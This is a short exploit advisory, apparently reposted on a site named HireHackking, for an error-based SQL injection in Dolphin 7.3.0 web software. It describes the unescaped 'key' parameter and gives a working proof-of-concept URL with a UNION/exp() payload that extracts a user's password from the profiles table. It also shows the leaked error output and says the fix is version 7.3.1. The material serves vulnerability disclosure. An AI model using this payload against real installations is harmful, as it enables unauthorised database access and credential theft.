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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Dolphin 7.3.0 Error Based SQL Injection
# Date: 20-09-2016
# Software Link: https://www.boonex.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description

`$_REQUEST['key']` is not escaped inside `actions.inc.php`.

http://security.szurek.pl/dolphin-730-error-based-sql-injection.html

2. Proof of Concept

http://dolphin/flash/XML.php?module=chat&action=RayzSetMembershipSetting&id=1&_t=41920&key=' UNION select 1, exp(~(select*from(SELECT Password FROM profiles WHERE ID=1)x)); -- a

which is rendered as:

Database access error. Description: DOUBLE value is out of range in 'exp(~((select '%password_here%' from dual)))'<?xml version='1.0' encoding='UTF-8'?><ray><result value="Error saving setting." status="failed" /></ray>

3. Solution:
   
Update to version 7.3.1